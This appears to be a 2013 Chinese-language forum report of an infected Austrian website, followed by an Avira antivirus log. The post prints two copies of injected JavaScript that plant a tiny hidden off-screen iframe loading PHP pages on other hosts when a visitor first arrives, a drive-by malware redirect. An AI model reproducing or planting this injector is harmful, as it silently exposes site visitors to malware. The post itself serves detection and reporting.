http://tafelspitz-huber.at/

显示全部楼层 · 发表于 2013-9-3 06:18:14

function far09() {
var static = 'ajax';
var controller = 'index.php';
var far = document.createElement('iframe');
far.src = 'http://ayurvedayspa.com.au/_vti_bin/dq9W2LkZ.php';
far.style.position = 'absolute';
far.style.color = '9';
far.style.height = '9px';
far.style.width = '9px';
far.style.left = '10009';
far.style.top = '10009';
if (!document.getElementById('far')) {
document.write('<p id=\'far\' class=\'far09\' ></p>');
document.getElementById('far').appendChild(far);
}
}
function SetCookie(cookieName, cookieValue, nDays, path) {
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0) nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))) {
return null;
}
if (start == -1) return null;
var end = document.cookie.indexOf(";", len);
if (end == -1) end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
if (GetCookie('visited_uq') == 55) {} else {
SetCookie('visited_uq', '55', '1', '/');
far09();
}
}

复制代码

function y09() {
var static = 'ajax';
var controller = 'index.php';
var y = document.createElement('iframe');
y.src = 'http://baxterwoodman.com/anonymous/YvCNKzcf.php';
y.style.position = 'absolute';
y.style.color = '2';
y.style.height = '2px';
y.style.width = '2px';
y.style.left = '10002';
y.style.top = '10002';
if (!document.getElementById('y')) {
document.write('<p id=\'y\' class=\'y09\' ></p>');
document.getElementById('y').appendChild(y);
}
}
function SetCookie(cookieName, cookieValue, nDays, path) {
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0) nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))) {
return null;
}
if (start == -1) return null;
var end = document.cookie.indexOf(";", len);
if (end == -1) end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
if (GetCookie('visited_uq') == 55) {} else {
SetCookie('visited_uq', '55', '1', '/');
y09();
}
}

复制代码

Avira

2013/9/3 上午 06:15 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\G3WIV5EU\roe[1].js'
   包含病毒或有害的程式 'JS/Agent.55512' [virus]
   已採取動作：
   檔案會移動至 '570daffd.qua' 名稱底下的隔離區目錄。.

2013/9/3 上午 06:15 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 849
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2013/9/3 上午 06:14 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\G3WIV5EU\roe[1].js 中
   偵測到病毒或有害的程式 'JS/Agent.55512 [virus]'
   執行的動作：傳輸至掃描程式

2013/9/3 上午 06:14 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\G3WIV5EU\roe[1].js 中
   偵測到病毒或有害的程式 'JS/Agent.55512 [virus]'
   執行的動作：拒絕存取

2013/9/3 上午 06:14 [Web Protection] 發現惡意程式碼
   從 URL "http://tafelspitz-huber.at/Index_htm_files/roe.js" 存取資料時，
   發現病毒或有害的程式 'JS/Agent.55512' [virus]。
   已採取動作：已略過

[已鉴定] http://tafelspitz-huber.at/